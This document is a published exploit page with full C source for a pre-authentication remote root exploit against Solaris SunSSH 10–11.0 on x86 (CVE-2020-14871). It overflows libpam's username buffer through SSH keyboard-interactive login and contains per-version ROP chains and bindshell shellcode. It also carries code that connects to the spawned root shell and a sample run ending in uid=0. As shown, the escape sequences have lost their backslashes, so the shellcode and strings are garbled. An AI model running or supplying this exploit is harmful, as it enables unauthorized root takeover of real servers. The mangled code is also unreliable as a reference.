Authored by Hacker Fantastic

Solaris SunSSH versions 10 through 11.0 on x86 libpam remote root exploit.

advisories | CVE-2020-14871

# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root 
# Exploit Author: Hacker Fantastic
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html
# Version: 11
# Tested on: SunOS solaris 5.11 11.0

/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
* ====================================================================
* Makefile
* all: hfsunsshdx
*
* hfsunsshdx: main.c
* gcc main.c -o hfsunsshdx -lssh2
*
* clean:
* rm -rf hfsunsshdx
* rm -rf core.*
*
* A trivial to reach stack-based buffer overflow is present in libpam on
* Solaris. The vulnerable code exists in pam_framework.c parse_user_name()
* which allocates a fixed size buffer of 512 bytes on the stack and parses
* usernames into the buffer via modules (authtok_get) without bounds checks.
* This issue can be reached remotely pre-authentication via SunSSH when
* "keyboard-interactive" is enabled to use PAM based authentication. The
* vulnerability was discovered being actively exploited by FireEye in the
* wild and is part of an APT toolkit called "EVILSUN". The vulnerability
* is present in both SPARC/x86 versions of Solaris & others (eg. illumos).
* This exploit uses ROP gadgets to disable nxstack through mprotect on x86
* and a helper shellcode stub. The configuration in a default Solaris
* install is vulnerable. The exploit makes use of libssh2 and tested on
* Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable
* SunSSH implementation and versions later than 11.1 have updated SunSSH
* code that prevents the issue being triggered.
*
* e.g.
* ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2
* [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
* [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'
* [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes
* [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e
* [+] entering keyboard-interactive authentication.
* [-] number of prompts: 1
* [-] prompt 0 from server: 'Please enter user name: '
* [-] shellcode length 193 bytes
* [-] rop chain length 68
* [-] exploit buffer length 580
* [-] sending exploit magic buffer... wait
* [+] exploit success, handling payload...
* [-] connected.. enjoy :)
* SunOS solaris 5.11 11.0 i86pc i386 i86pc
* 6:49pm up 53 min(s), 1 user, load average: 0.01, 0.01, 0.01
* helpdesk console Nov 27 17:57
* uid=0(root) gid=0(root)
*
* -- Hacker Fantastic (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <getopt.h>
#include <time.h>
#include <signal.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <libssh2.h>

int sd = -1;
int oldsd = -1;
int ishell = -1;
char* buf;
char* payload;
char* retaddr;
struct sockaddr_in sain;

struct target {
char* name;
char* ropchain;
};

struct shellcode {
char* name;
char* shellcode;
};

void spawn_shell(int);
void bindshell_setup(short);
void on_alarm(int);
void on_interupt(int);
void prepare_payload();

const int targetno = 5;
struct target targets[] = {
{"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86",
"x41x42x43x44" // %ebx
"x45x46x47x48" // %esi
"x50x51x52x53" // %ebp
"xa7x0ex06x08" // pop %ecx, pop %edx, pop %ebp
"x9cx3ex04x08" // ptr to (0x?, 0x?, 0x8044cf0, 0x7)
"x01x01x04x08" // %edx unused, must be writeable addr
"x41x42x43x44" // %ebp unused var
"x93xdbxc8xfe" // pop %edx ; ret
"x01x30x04x08" // ptr to 0x08043001 mprotect arg
"x1axe7x0bxfe" // dec %edx ; ret
"x79x41xfexfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret
"x93xdbxc8xfe" // pop %edx ; ret
"x01x30x04x08" // ptr to shellcode
"xe0xe8x3exfe" // mov $0x72,%al
"x64x7cxc3xfe" // inc %eax ; ret
"x64x7cxc3xfe" // inc %eax ; ret
"x22x9dxd3xfe"},// sysenter
{"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86",
"x41x42x43x44" // %ebx overwrite unused
"x41x42x43x44" // %esi overwrite unused
"xf8x32x04x08" // %ebp overwrite unused
"xb7xf9x05x08" // pop %ecx ; pop %edx ; pop %ebp ; ret
"x7ex36x02x04" // ptr/2 to (0x?, 0x0, 0x1000, 0x7)
"x01x30x04x08" // ptr for %edx
"x44x43x42x41" // ptr for %ebp unused
"xe4xd4xdexfe" // dec %edx ; add %ecx, %ecx ; ret
"x19x42xfexfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret
"xb8xf9x05x08" // pop %edx ; pop %ebp ; ret
"xebx30x04x08" // shellcode ptr for %edx
"x1cx33x04x08" // %ebp & used by "leave"
"x84x98x51xfe" // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret
"x41x42x43x44" // %esi unused
"xe0x30x04x08" // shellcode ptr to %ebx
"xe8x32x04x08" // ptr into %ebp
"x19x3fxfexfe" // sub $0x4,%eax ; ret
"x19x3fxfexfe" // sub $0x4,%eax ; ret
"x19x3fxfexfe" // sub $0x4,%eax ; ret
"x11x3fxfexfe" // sub $0x2,%eax ; ret
"xfexf8xcfxfe"},// sysenter
{"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86",
"xc3x31x04x08" // overwrite %ebp unused
"xa3x6cxd8xfe" // mov $0x74, %eax ; ret
"x29x28x07x08" // pop %ebx ; ret
"xf0xffxafxfe" // 0x0a writen to address, unused gadget
"x08xbax05x08" // pop %edx ; pop %ebp ; ret
"x01x30x04x08" // %edx pointer to page
"xb8x31x04x08" // unused %ebp value
"xaax4cx68xfe" // pop %ecx ; ret
"xe0x6ex04x08" // ptr (0x?,0x0,0x1000,0x7)
"x61x22x07x08" // dec %edx ; ret
"x8bx2dxfexfe" // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret
"xa3x6cxd8xfe" // mov $0x74, %eax ; ret
"x08xbax05x08" // pop %edx ; pop %ebp ; ret
"xc3x31x04x08" // shellcode addr for %edx
"xc3x31x04x08" // unused %ebp value
"xf6x0dxf4xfe"},// sysenter, (ret into shellcode via %edx)
{"Solaris 10 8/11 (147441-01) Sun_SSH_1.1.4 x86",
"xc3x31x04x08" // overwrite %ebp unused
"x73x6axd7xfe" // mov $0x74, %eax ; ret
"xb1x26x07x08" // pop %ebx ; ret
"xffx01xacxfe" // write garbage here, unused gadget
"x98xb9x05x08" // pop %edx ; pop %ebp ; ret
"xffx2fx04x08" // %edx pointer to page
"xc3x31x04x08" // unused %ebp value
"x57xaaxe4xfe" // pop %ecx ; ret
"x94x11x5fxfe" // ptr rwx (0x?,0x04b,0xe50,0x7)
"xeex6ax65xfe" // inc %edx ; ret
"x9bxc5xc1xfe" // mov %edx,0x4($ecx) ; xor %eax,%eax ; ret
"x73x6axd7xfe" // mov $0x74, %eax ; ret
"x86xaexe5xfe" // pop %edx ; ret
"xc3x31x04x08" // shellcode return address for %edx
"x66x56xb9xfe"},// sysenter (ret into shellcode via %edx)
{"Solaris all Sun_SSH_1.x.x debug crash target",
"x41x42x43x43" // %ebp ptr
"x78x79x80x81"} // %eip ptr
};

const int shellno = 4;

struct shellcode shellcodes[] = {
{"Solaris x86 bindshell tcp port 9999",
/* mprotect magic stub necessary for payloads expecting +x stack */
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x31xc0x31xc9"
"xbbx01x10x04x08x66xb8x01x70xb1x07x4bx48x51x50"
"x53x53x89xe1x31xc0xb0x74xcdx91"
/* mprotect_shellcode.S Solaris x86 mprotect(0x08044000,0x7000,0x07);
==================================================================
xorl %eax, %eax
xorl %ecx, %ecx
movl $0x08041001, %ebx
movw $0x7001, %ax
movb $0x7,%cl
dec %ebx
dec %eax
pushl %ecx
pushl %eax
pushl %ebx
pushl %ebx
movl %esp, %ecx
xorl %eax, %eax
movb $0x74, %al
int $0x91
*/
/* msfvenom -p solaris/x86/shell_bind_tcp -b "x09x20" LPORT=9999 -f c -e x86/xor_dynamic */
"xebx23x5bx89xdfxb0x55xfcxaex75xfdx89xf9x89xde"
"x8ax06x30x07x47x66x81x3fx2ax95x74x08x46x80x3e"
"x55x75xeexebxeaxffxe1xe8xd8xffxffxffx01x55x69"
"xfexd9xfex3dx6bx64x88xe7xf6x57x05xf7x17x30xc1"
"x51x69xfex03x26x0ex88xe6x6bx03x51x51x6bx03x6b"
"x03xb1xe7xfexd7x6bx11x56x51x30xc1xb1xe9xfexd7"
"x5ax51x51x52xb1xe8xfexd7xb1xebxfexd7x6bx08x51"
"x6bx3fx59xfexd7xfex4exd9x78xf7x51x69x2ex2ex72"
"x69x69x2ex63x68x6fx88xe2x51x52x88xe0x51x50x52"
"xb1x3axfexd7x2ax95"},
{"Solaris x86 bindshell tcp port 8080",
/* mprotect magic stub necessary for payloads expecting +x stack */
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x31xc0x31xc9"
"xbbx01x10x04x08x66xb8x01x70xb1x07x4bx48x51x50"
"x53x53x89xe1x31xc0xb0x74xcdx91"
/* msfvenom -p solaris/x86/shell_bind_tcp -b "x09x20" LPORT=8080 -f c -e x86/xor_dynamic */
"xebx23x5bx89xdfxb0x9axfcxaex75xfdx89xf9x89xde"
"x8ax06x30x07x47x66x81x3fx44x60x74x08x46x80x3e"
"x9ax75xeexebxeaxffxe1xe8xd8xffxffxffx01x9ax69"
"xfexd9xfex3dx6bx64x88xe7xf6x57x05xf7x17x30xc1"
"x51x69xfex03x1ex91x88xe6x6bx03x51x51x6bx03x6b"
"x03xb1xe7xfexd7x6bx11x56x51x30xc1xb1xe9xfexd7"
"x5ax51x51x52xb1xe8xfexd7xb1xebxfexd7x6bx08x51"
"x6bx3fx59xfexd7xfex4exd9x78xf7x51x69x2ex2ex72"
"x69x69x2ex63x68x6fx88xe2x51x52x88xe0x51x50x52"
"xb1x3axfexd7x44x60"},
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */
{"Solaris 11.0 x86 bindshell tcp port 9999",
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xc0x31xc9x31xd2xbbx01x10x04x08x66xb8x01x70"
"xb1x07x66xbax01x10x66x31xd3x48x51x50x53x53x89"
"xe1x31xc0xb0x74xcdx91"//not encoded, stack address different
"xb8x5dx6dx26x15xdaxcexd9x74x24xf4x5ax2bxc9xb1"
"x19x31x42x15x83xeaxfcx03x42x11xe2xa8x05xd9xcd"
"xadxeax4fx8bxd8xf5x67x05xdex0fx91x9bx1exbfxf6"
"x24x9cx67x08x52x47x0dx14x34xd7xb8x1axdexd5x8c"
"xfdxe1x0fx86x11x49xffx66xd2xc5x17x77x04x7exb7"
"xdbx19x68xc8x0axe9x81xc9x65x60x5fx5fx83x25x35"
"xa1xcbx3ax1fx22xa4x1cxd9x2ax0ax5dx4axbax42x72"
"x18x52xf5xa3xbcxcbx6bx35xa3x5bx27xccxc5x0bx97"
"x9fx56x1bx2cxdfx8f"},
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */
{"Solaris 11.0 x86 bindshell tcp port 4444",
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xc0x31xc9x31xd2xbbx01x10x04x08x66xb8x01x70"
"xb1x07x66xbax01x10x66x31xd3x48x51x50x53x53x89"
"xe1x31xc0xb0x74xcdx91"//not encoded, stack address different
"xb8x8dx2ex32x79xd9xe5xd9x74x24xf4x5bx29xc9xb1"
"x19x31x43x15x03x43x15x83xc3x04xe2x78x46xcdxa1"
"x7dxabx5bx37x08x32x6cxe1x0ex4dx85x3fxcexe1xc2"
"xc0xccx1ex83xb6x37x4axa1x98xe7xe1xa7x72x05x46"
"x41x7dxdfxccx9exd5x8fx21x5fx69xc7xbdx89xd1x47"
"x11x86x0fx98x43x56x25x99xbaxfdxb3x0fx4ax52xae"
"xf1x14xadxf8xf2xeax89x7cxfaxc4xe9x2fx6ax08xc5"
"xbcx02x3ex36x21xbbxd0xc1x46x6bx7ex5bx69xdbxd0"
"x0ax39x6bxebx53x6b"}
};

void spawn_shell(int sd) {
#define sockbuflen 2048
int rcv;
char sockbuf[sockbuflen];
fd_set readfds;
memset(sockbuf,0,sockbuflen);
snprintf(sockbuf,sockbuflen,"uname -a;uptime;who;idn");
write(sd,sockbuf,strlen(sockbuf));
while (1) {
FD_ZERO(&readfds);
FD_SET(0,&readfds);
FD_SET(sd,&readfds);
select(255,&readfds,NULL,NULL,NULL);
if (FD_ISSET(sd, &readfds)) {
memset(sockbuf,0,sockbuflen);
rcv = read(sd,sockbuf,sockbuflen);
if (rcv <= 0) {
printf("e[1me[34m[!] connection closed by foreign host.ne[0m");
exit(-1);
}
printf("%s",sockbuf);
fflush(stdout);
}
if(FD_ISSET(0,&readfds)) {
memset(sockbuf,0,sockbuflen);
read(0,sockbuf,sockbuflen);
write(sd,sockbuf,strlen(sockbuf));
}
}
}

void bindshell_setup(short port){
oldsd = sd;
sd = socket(AF_INET,SOCK_STREAM,0);
sain.sin_port = htons(port);
if(connect(sd,(struct sockaddr*)&sain,sizeof(sain))<0){
printf("[!] fatal bind shell failedne[0m");
exit(-1);
}
printf("[-] connected.. enjoy :)e[0mn");
spawn_shell(sd);
}

void on_alarm(int signum){
printf("[+] exploit success, handling payload...n");
if(ishell==0||ishell==2){
bindshell_setup(9999);
}
if(ishell==1||ishell==3){
bindshell_setup(8080);
}
printf("[-] exploit completene[0m");
exit(0);
}

void on_interrupt(int signum){
printf("e[1me[34m[!] interrupt caught... cleaning upne[0m");
if(sd){
close(sd);
}
if(oldsd){
close(oldsd);
}
exit(0);
}

void prepare_payload(){ /* bad characters are 0x20 0x09 & 0x00 */
#define payload_size 4096
int len = strlen(payload);
buf = malloc(payload_size);
char randchar = 'A';
char* randbuf = malloc(2);
if(!buf||!randbuf){
printf("[!] fatal payload buffer errorn");
exit(-1);
}
srand(time(NULL));
memset(buf,'x00',payload_size);
memset(randbuf,0,2);
printf("[-] shellcode length %d bytesn",len);
if(len < 512 && payload_size > 1024){
memcpy(buf,payload,len);
for(int i =0;i <= (512 - len);i++){
randchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[random() % 52];
memcpy(randbuf,&randchar,1);
strcat(buf,randbuf);
}
len = strlen(retaddr);
printf("[-] rop chain length %dn",len);
if(len + 512 < payload_size){
memcpy((void*)(long)buf+512,(void*)retaddr,len);
len = strlen(buf);
printf("[-] exploit buffer length %dn",len);
}
else{
printf("[!] exploit buffer miscalculatedn");
exit(-1);
}
}
else{
printf("[!] exploit buffer miscalculatedn");
exit(-1);
}
}

static void kbd_callback(const char *name, int name_len,const char *instruction, int instruction_len,int num_prompts,const LIBSSH2_USERAUTH_KBDINT_PROMPT *prompts,LIBSSH2_USERAUTH_KBDINT_RESPONSE *responses, void **abstract) {
int i = 0;
signal(SIGALRM, &on_alarm);
printf("[+] entering keyboard-interactive authentication.n");
printf("[-] number of prompts: %dn", num_prompts);
printf("[-] prompt %d from server: '", i);
fwrite(prompts[i].text, 1, prompts[i].length, stdout);
printf("'n");
prepare_payload();
//uncomment to pause for gdb debugging
//sleep(10);
responses[i].text = strdup(buf);
responses[i].length = strlen(buf);
printf("[-] sending exploit magic buffer... waitn");
alarm(5);
}

int main(int argc,char **argv){
int ihost = 0, itarg = 0, port = 22, index = 0, rc = 0;
char* host;
int i, type, exitcode;
unsigned long hostaddr;
const char *fingerprint;
LIBSSH2_SESSION *session;
LIBSSH2_CHANNEL *channel;
char *exitsignal = (char *)"none";
size_t len;
LIBSSH2_KNOWNHOSTS *nh;
static struct option options[] = {
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"target", 1, 0, 't'},
{"shellcode", 1, 0, 'x'},
{"help", 0, 0,'h'}
};
printf("e[1me[34m[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871n");
while(rc != -1) {
rc = getopt_long(argc,argv,"s:p:t:x:h",options,&index);
switch(rc) {
case -1:
break;
case 's':
if(ihost==0){
host = malloc(strlen(optarg) + 1);
if(host){
sprintf(host,"%s",optarg);
ihost = 1;
}
}
break;
case 'p':
port = atoi(optarg);
break;
case 'x':
if(ishell==-1) {
rc = atoi(optarg);
switch(rc){
case 0:
printf("[-] using shellcode '%s' %d bytesn",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 1:
printf("[-] using shellcode '%s' %d bytesn",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 2:
printf("[-] using shellcode '%s' %d bytesn",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;
case 3:
printf("[-] using shellcode '%s' %d bytesn",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));
payload = malloc(strlen(shellcodes[rc].shellcode)+1);
if(payload){
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));
ishell = rc;
}
break;

default:
printf("[!] Invalid shellcode selection %dn",rc);
exit(0);
break;
}
}
break;
case 't':
if(itarg==0){
rc = atoi(optarg);
switch(rc){
case 0:
printf("[-] chosen target '%s'n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 1:
printf("[-] chosen target '%s'n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 2:
printf("[-] chosen target '%s'n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 3:
printf("[-] chosen target '%s'n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
case 4:
printf("[-] chosen target '%s'n",targets[rc].name);
retaddr = malloc(strlen(targets[rc].ropchain)+1);
if(retaddr){
memset(retaddr,0,strlen(targets[rc].ropchain)+1);
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));
itarg = rc;
}
break;
default:
printf("[!] Invalid target selection %dn", rc);
exit(0);
break;
}
itarg = 1;
}
break;
case 'h':
printf("[!] Usage instructions.n[n");
printf("[ %s <required> (optional)n[n[ --server|-s <ip/hostname>n",argv[0]);
printf("[ --port|-p (port)[default 22]n[ --target|-t <target#>n");
printf("[ --shellcode|-x <shellcode#>n[n");
printf("[ Target#'sn");
for(i = 0;i <= targetno - 1;i++){
printf("[ %d "%s"n",i,targets[i]);
}
printf("[n[ Shellcode#'sn");
for(i = 0;i <= shellno - 1;i++){
printf("[ %d "%s" (length %d bytes)n",i,shellcodes[i].name,strlen(shellcodes[i].shellcode));
}
printf("e[0m");
exit(0);
break;
default:
break;
}
}
if(itarg != 1 || ihost != 1 || ishell < 0){
printf("[!] error, insufficient arguments, try running '%s --help'e[0mn",argv[0]);
exit(-1);
}
rc = libssh2_init(0);
hostaddr = inet_addr(host);
sd = socket(AF_INET, SOCK_STREAM, 0);
sain.sin_family = AF_INET;
sain.sin_port = htons(port);
sain.sin_addr.s_addr = hostaddr;
if(connect(sd, (struct sockaddr*)(&sain),sizeof(struct sockaddr_in)) != 0) {
fprintf(stderr, "[!] failed to connect!n");
goto shutdown;
}
session = libssh2_session_init();
libssh2_session_set_blocking(session, 1);
while((rc = libssh2_session_handshake(session, sd))==LIBSSH2_ERROR_EAGAIN);
if(rc) {
printf("[!] failure establishing ssh session: %dn", rc);
goto shutdown;
}
nh = libssh2_knownhost_init(session);
if(!nh) {
printf("[!] failure on libssh2 initn");
goto shutdown;
}
fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
printf("[+] ssh host fingerprint: ");
for(i = 0; i < 20; i++) {
printf("%02x", (unsigned char)fingerprint[i]);
}
printf("n");
libssh2_knownhost_free(nh);
signal(SIGINT,&on_interrupt);
libssh2_userauth_keyboard_interactive(session, "", &kbd_callback);
printf("[!] exploit failed, core maybe on target!n");
shutdown:
if(sd){
close(sd);
}
printf("e[0m");
return -2;
}